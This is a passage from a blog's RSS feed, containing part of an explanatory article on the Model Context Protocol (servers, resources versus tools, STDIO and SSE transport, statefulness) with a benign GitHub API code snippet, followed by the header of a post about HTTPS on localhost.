L:junctionCenter&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;server-role-in-mcp&#34;&gt;Server role in MCP&lt;/h3&gt;&#xA;&lt;p&gt;A server is responsible for reading information, whether from a file, a database, a web service (via an API), or any other accessible source. To do this, it will use certain predefined resources or tools that restrict what the client can or cannot read or do.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group api(logos:anthropic-icon)[MCP]&#xA;&#xA;    service server(server)[Whatsapp Server] in api&#xA;    service whatsapp(logos:whatsapp-icon)[MCP Whatsapp] in api&#xA;&#xA;&#xA;    server:L &lt;--&gt; R:whatsapp&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h4 id=&#34;how-does-the-mcp-know-what-it-can-read-or-do-from-a-server&#34;&gt;How does the MCP know what it can read or do from a server?&lt;/h4&gt;&#xA;&lt;p&gt;To know what resources a service or server can access or modify, they implement a similar functionality &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-with-reflect-discover-how-reflect-can-boost-your-programs-flexibility/&#34;&gt;Reflect in Go and GraphQL&lt;/a&gt;&#xA;, with which they expose information about themselves.&lt;/p&gt;&#xA;&lt;p&gt;For example, in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/modelcontextprotocol/servers/tree/main/src/github&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;CCM Github repository&lt;/a&gt;&#xA; we see the list of actions that can be performed, as well as the required inputs for each of them.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743551599/coffee-bytes/github-mcp-screenshot-list_ad1rel.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743551599/coffee-bytes/github-mcp-screenshot-list_ad1rel.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of the available actions of a Github MCP server&amp;#34;&#34; width=&#34;764&#34; height=&#34;733&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Screenshot of the available actions of a Github MCP server&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Internally there is no magic at all, the services interact with the servers or information sources through their respective APIs. Take a look at the code that executes the &lt;em&gt;listCommits&lt;/em&gt; action shown in the image above.&lt;/p&gt;&#xA;&lt;p&gt;Notice how there is an initial validation using the familiar &lt;em&gt;Zod&lt;/em&gt; library, but at the end of the snippet there is a function call that makes a request to a Github URL.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;display:grid;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 1&lt;/span&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { z } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;zod&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 2&lt;/span&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { githubRequest, buildUrl } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;../common/utils.js&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 3&lt;/span&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 4&lt;/span&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; ListCommitsSchema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; z.object({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 5&lt;/span&gt;&lt;span&gt;  owner&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.string(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 6&lt;/span&gt;&lt;span&gt;  repo&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.string(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 7&lt;/span&gt;&lt;span&gt;  sha&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.string().optional(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 8&lt;/span&gt;&lt;span&gt;  page&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.number().optional(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 9&lt;/span&gt;&lt;span&gt;  perPage&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.number().optional()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;10&lt;/span&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;11&lt;/span&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;12&lt;/span&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; listCommits(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;13&lt;/span&gt;&lt;span&gt;  owner&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; string,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;14&lt;/span&gt;&lt;span&gt;  repo&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; string,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;15&lt;/span&gt;&lt;span&gt;  page&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt; number,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;16&lt;/span&gt;&lt;span&gt;  perPage&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt; number,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;17&lt;/span&gt;&lt;span&gt;  sha&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt; string&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;18&lt;/span&gt;&lt;span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;19&lt;/span&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; githubRequest(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex; background-color:#3d3f4a&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;20&lt;/span&gt;&lt;span&gt;    buildUrl(&lt;span style=&#34;color:#5af78e&#34;&gt;`https://api.github.com/repos/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;owner&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;repo&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;/commits`&lt;/span&gt;, {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;21&lt;/span&gt;&lt;span&gt;      page&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; page&lt;span style=&#34;color:#ff6ac1&#34;&gt;?&lt;/span&gt;.toString(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;22&lt;/span&gt;&lt;span&gt;      per_page&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; perPage&lt;span style=&#34;color:#ff6ac1&#34;&gt;?&lt;/span&gt;.toString(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;23&lt;/span&gt;&lt;span&gt;      sha&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;24&lt;/span&gt;&lt;span&gt;    })&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;25&lt;/span&gt;&lt;span&gt;  );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;26&lt;/span&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;how-does-the-llm-knows-what-action-should-peform&#34;&gt;How does the LLM knows what action should peform?&lt;/h4&gt;&#xA;&lt;p&gt;This is the magic part, the LLM can &amp;ldquo;read&amp;rdquo; the available actions from the MCP and, based on the prompt, decide which action should be executed, then the MCP will perform the action an return the answer to the LLM, afterwards the answer will be read by the LLM, which will generate a final response for the user.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751225840/coffee-bytes/MCP-flow-diagram_jjziao_sfst5j.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751225840/coffee-bytes/MCP-flow-diagram_jjziao_sfst5j.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP Flow Diagram&#34; width=&#34;1200&#34; height=&#34;573&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;So far I have been talking about resources and actions, but in the MCP these two actions which are in charge of giving context to an LLM have names. Of course they were not going to miss the opportunity to give some branding to their protocol.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;context-types-resources-and-tools-in-the-model-context-protocol&#34;&gt;Context types: Resources and Tools in the Model Context Protocol&lt;/h2&gt;&#xA;&lt;p&gt;The MCP context types are divided into:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Resources&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tools&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Sampling, performs queries to other models, less common.&lt;/li&gt;&#xA;&lt;li&gt;Prompts, prompts templates, less common.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;what-is-the-resources-context-type&#34;&gt;What is the Resources context type?&lt;/h3&gt;&#xA;&lt;p&gt;You can think of Resources as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;a &lt;em&gt;GET&lt;/em&gt; request to a REST API&lt;/a&gt;&#xA;, &lt;strong&gt;intended to get information, without modifying anything&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;what-is-the-type-of-context-tools&#34;&gt;What is the type of context Tools?&lt;/h3&gt;&#xA;&lt;p&gt;On the other hand, a tool would be the equivalent of a &lt;em&gt;POST&lt;/em&gt;, &lt;em&gt;UPDATE&lt;/em&gt;, &lt;em&gt;DELETE&lt;/em&gt; or &lt;em&gt;PATCH&lt;/em&gt; request.&lt;/p&gt;&#xA;&lt;p&gt;Think of tools as a mechanism to allow a client to make modifications to your servers or services.&lt;/p&gt;&#xA;&lt;p&gt;If you are more familiar with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/&#34;&gt;GraphQL-like APIs&lt;/a&gt;&#xA;, you can think of resources and tools as queries and mutations, respectively.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-the-mcp-communicate-with-servers&#34;&gt;How does the MCP communicate with servers?&lt;/h2&gt;&#xA;&lt;p&gt;The MCP has two communication paradigms, one is via STDIO or Standard Input Output, &lt;del&gt;right out of your C programming nightmares #include &amp;lt;stdio.h&amp;gt;&lt;/del&gt; ideal for local communication, for example with a local database such as Postgres or SQLite.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The other type is SSE or Server Sent Events, which does &lt;em&gt;POST&lt;/em&gt; request streaming (similar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/&#34;&gt;to the gRPC streaming requests I&amp;rsquo;ve already told you about&lt;/a&gt;&#xA;), ideal of course for communications that are not in the same environment.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-mcp-protocol-is-stateful&#34;&gt;The MCP protocol is stateful&lt;/h2&gt;&#xA;&lt;p&gt;Another aspect worth noting is that, to date, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/modelcontextprotocol/specification/discussions/102&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;the protocol requires a persistent connection between client and server&lt;/a&gt;&#xA;, so this can be a drawback for auto-scalable architectures that adapt to demand, as well as moving in the opposite direction in a world that is striving to become stateless.&lt;/p&gt;&#xA;&lt;p&gt;Just as a reminder:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Aspect&lt;/th&gt;&#xA;          &lt;th&gt;Stateless Application&lt;/th&gt;&#xA;          &lt;th&gt;Stateful Application&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Server State&lt;/td&gt;&#xA;          &lt;td&gt;No stored client state between requests&lt;/td&gt;&#xA;          &lt;td&gt;Maintains client state across requests&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Session Data&lt;/td&gt;&#xA;          &lt;td&gt;Client-side storage (e.g., cookies, tokens)&lt;/td&gt;&#xA;          &lt;td&gt;Server-side storage (e.g., session DB, memory)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Scalability&lt;/td&gt;&#xA;          &lt;td&gt;Horizontally scalable (no affinity needed)&lt;/td&gt;&#xA;          &lt;td&gt;Requires sticky sessions or state replication&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Complexity&lt;/td&gt;&#xA;          &lt;td&gt;Simpler to implement and scale&lt;/td&gt;&#xA;          &lt;td&gt;More complex due to state management&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Fault Tolerance&lt;/td&gt;&#xA;          &lt;td&gt;Resilient (failed requests can go to any server)&lt;/td&gt;&#xA;          &lt;td&gt;Vulnerable to server failures&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Examples&lt;/td&gt;&#xA;          &lt;td&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/rest-api-best-practices-and-design/&#34;&gt;REST APIs (when properly designed), HTTP/HTTPS&lt;/a&gt;&#xA;&lt;/td&gt;&#xA;          &lt;td&gt;Traditional monoliths, WebSocket apps&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;At the moment it is a matter of debate whether it will stay that way, there is no certainty whether stateless versions will be implemented or if there will be changes to it. After all, this protocol is new and who knows what the future holds for the AI world, giants can rise and fall in months, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/&#34;&gt;as Devin AI&lt;/a&gt;&#xA; and Rabbit R1 did.&lt;/p&gt;&#xA;&lt;p&gt;If you want to know more read the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/modelcontextprotocol&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official Model Context Protocol documentation&lt;/a&gt;&#xA; and the introduction to the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.anthropic.com/news/model-context-protocol&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;MCP&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;If you&amp;rsquo;re struggling to understand the Model Context Protocol, I feel you, I watched a lot of videos on it, but I just couldn&amp;rsquo;t understand it, so I took my notes about it and turned it into a post so you can understand it effortless, also I wrote a post where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/how-to-create-a-mcp-server-and-mcp-tools-from-scratch/&#34;&gt;how to create a MCP server and MCP tools from scratch&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-was-the-model-context-protocol-created&#34;&gt;Why was the Model Context Protocol created?&lt;/h2&gt;&#xA;&lt;p&gt;One of the most convenient uses of LLMs is to use them to analyse or process our own data, for which there are several options, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/&#34;&gt;LLM fine-tuning&lt;/a&gt;&#xA; or RAG, or manually passing our data as context as part of the prompt.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>The Easiest Way To Use Https In Localhost (my opinion)</title>
      <link>https://coffeebytes.dev/en/linux/the-easiest-way-to-use-https-in-localhost-my-opinion/</link>
      <pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/the-easiest-way-to-use-https-in-localhost-my-opinion/</guid>
      
      <category>linux</category>
      
      <category>go</category>
      
      
      
      
      
